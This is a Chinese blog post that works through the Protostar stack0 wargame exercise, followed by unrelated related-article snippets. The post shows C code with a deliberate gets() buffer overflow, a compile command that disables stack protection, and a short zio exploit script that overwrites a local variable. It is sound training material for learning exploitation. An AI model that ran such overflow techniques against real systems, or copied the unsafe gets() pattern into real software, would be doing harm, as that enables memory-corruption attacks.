Protostar系列linux pwn练习

来自于exploit-exercises.com

难度较低,主要是熟练Linux环境下的调试和编程。

stack0

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4
 5 int main(int argc, char **argv)
 6 {
 7   volatile int modified;
 8   char buffer[64];
 9
10   modified = 0;
11   gets(buffer);
12
13   if(modified != 0) {
14       printf("you have changed the ‘modified‘ variable\n");
15   } else {
16       printf("Try again?\n");
17   }
18 }

编译:

gcc -fno-stack-protector -z execstack stack1.c -o stack1

解:

简单的覆盖局部变量即可。学到的东西是nx真的会改变栈缓冲区布局。

exp:

1 from zio import *
2 io=zio(‘./stack1‘)
3 sc1=0x41*‘a‘
4 io.writeline(sc1)
5 io.read()

stack1

时间: 2024-08-26 01:13:58

Protostar系列linux pwn练习的相关文章

Linux pwn入门教程(0)——环境配置

作者:[email protected] 0×00前言 作为一个毕业一年多的辣鸡CTF选手,一直苦于pwn题目的入门难,入了门更难的问题.本来网上关于pwn的资料就比较零散,而且经常会碰到师傅们堪比解题过程略的writeup和没有注释,存在大量硬编码偏移的脚本,还有练习题目难找,调试环境难搭建,GDB没有IDA好操作等等问题.作为一个老萌新(雾),决定依据Atum师傅在i春秋上的pwn入门课程中的技术分类,结合近几年赛事中出现的一些题目和文章整理出一份自己心目中相对完整的Linux pwn教程.

Redhat系列linux系统安装,并使用xshell工具进行远程连接

实验项目:Redhat系列linux系统安装首先我们在VMwareWorkstation软件上进行安装.如图所示,选择创建,使用安装向导,选择自定义安装,点击下一步选择稍后安装操作系统客户机操作系统选择linux系统,版本选择Red Hat Enterprise linux 6 64 位给将要安装的虚拟机命名,并选择一个目录保存在此处理器选择一核(根据不同电脑配置可以自由选择处理器核心数)选择固定内存为2G大小(可以根据实际需要自行决定)网络类型选择仅主机模式磁盘容量指定40G把磁盘文件和创建的

Linux pwn入门教程——格式化字符串漏洞

本文作者:[email protected] 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 然而,有时候为了省事也会写成 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作. 0×01 利用格

华旭收-RedHat5.X系列linux搭建NTP服务详细方法

华旭收-RedHat5.X系列linux搭建NTP服务详细方法华旭是小白鼠,请勿纠结标题.ntp也就是时间服务器原理和作用:1.大数据产生与处理系统是各种计算设备集群的,计算设备将统一.同步的标准时间用于记录各种事件发生时序,如E-MAIL信息.文件创建和访问时间.数据库处理时间等.2.大数据系统内不同计算设备之间控制.计算.处理.应用等数据或操作都具有时序性,若计算机时间不同步,这些应用或操作或将无法正常进行.3.大数据系统是对时间敏感的计算处理系统,时间同步是大数据能够得到正确处理的基础保障

在Debian系列Linux系统Ubuntu上安装配置yum的试验

用习惯了Red Hat系统的都知道我们习惯于三种安装方式:一种是rpm包的方式安装,一种就是tar包的方式来安装,还有一种方式就是yum源的安装. 首先rpm包的用法,我们一般是在Red Hat光驱里安装rpm包,我们发现rpm包都是在光驱的Packages里,那么我们先把光驱挂在到一个目录底下,我们可以对光盘里的文件和文件夹直接进行访问,那么挂载之前我们先在/mnt/目录下创建一个新的文件夹cdrom,我们依次执行命令: mkdir /mnt/cdrom #创建一个文件夹 mount /dev

剑指架构师系列-Linux下的调优

1.I/O调优 CentOS下的iostat命令输出如下: $iostat -d -k 1 2 # 查看TPS和吞吐量 参数 -d 表示,显示设备(磁盘)使用状态:-k某些使用block为单位的列强制使用Kilobytes为单位:1 10表示,数据显示每隔1秒刷新一次,共显示2次. tps:该设备每秒的传输次数,也就是一次I/O请求.多个逻辑请求可能会被合并为"一次I/O请求"."一次传输"请求的大小是未知的. kB_read/s:每秒从设备读取的数据量:kB_wr

[CentOS 7系列]linux系统文件类型

ls命令是linux下最常用的命令.ls命令就是list的缩写.通过ls 命令不仅可以查看linux文件夹包含的文件,而且可以查看文件权限(包括目录.文件夹.文件权限)查看目录信息等等. 1.命令格式: ls [选项] [目录名] 2.命令功能: 列出目标目录中所有的子目录和文件. 3.常用参数 序号 命令 作用 备注 1 ls -l 显示详细信息 ls -l = ll 2 ls -d 只显示目录信息 3 ls -a 显示所有文件信息 隐藏文件是在文件名字以"."开头的文件. 4 ls

项目管理软件系列-Linux一键安装禅道

linux用一键安装包 简介:本文介绍如何在linux下面使用禅道一键安装包搭建禅道的运行环境. linux一键安装包内置了apache, php, mysql这些应用程序,只需要下载解压缩即可运行禅道. 从7.3版本开始,linux一键安装包分为32位和64位两个包,请大家根据操作系统的情况下载相应的包. 一.安装 1.将安装包直接解压到/opt目录下,不要解压到别的目录再拷贝到/opt/,因为这样会导致文件的所有者和读写权限改变,也不要解压后把整个目录777权限. 可以使用命令: tar -

Linux操作系统系列-Linux认识

概述 先了解下unix,unix是一个多任务.多用户的操作系统,并且是收费的操作系统. 1991年的10月5日,林纳斯·托瓦兹在comp.os.minix新闻组上发布消息,正式向外宣布Linux内核的诞生,Linux内核的版本是免费的. 1993年,大约有100余名程序员参与了Linux内核代码编写/修改工作,其中核心组由5人组成,此时Linux 0.99的代码大约有十万行,用户大约有10万左右. Linux的版本 Linux的版本分为发行版本与内核版本,一般开发使用的都是发行版本.比较主流的C